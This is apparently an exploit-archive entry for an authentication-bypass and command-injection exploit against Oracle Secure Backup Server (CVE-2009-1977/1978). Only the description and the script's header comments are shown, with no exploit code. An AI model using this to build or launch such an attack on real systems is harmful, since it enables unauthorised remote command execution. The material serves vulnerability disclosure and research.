Description

Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit. CVE-2009-1977. Remote exploit for windows platform

                                        
                                            #!/bin/bash

#Oracle Secure Backup Administration Server authentication bypass, plus command injection vulnerability
#1-day exploit for CVE-2009-1977 and CVE-2009-1978 

#PoC script successfully tested on:
#Oracle Secure Backup Server 10.3.0.1.0_win32_release
#MS Windows Professional XP SP3

#In August 2009, ZDI discloses a few details regarding a couple of interesting vulnerabilities within Oracle Backup Admin server.
#Since I was quite interested in such flaws, I did a bit of research. This PoC exploits two separate vulnerabilities: a smart 
#authentication bypass and a trivial command injection, resulting in arbitrary command execution.
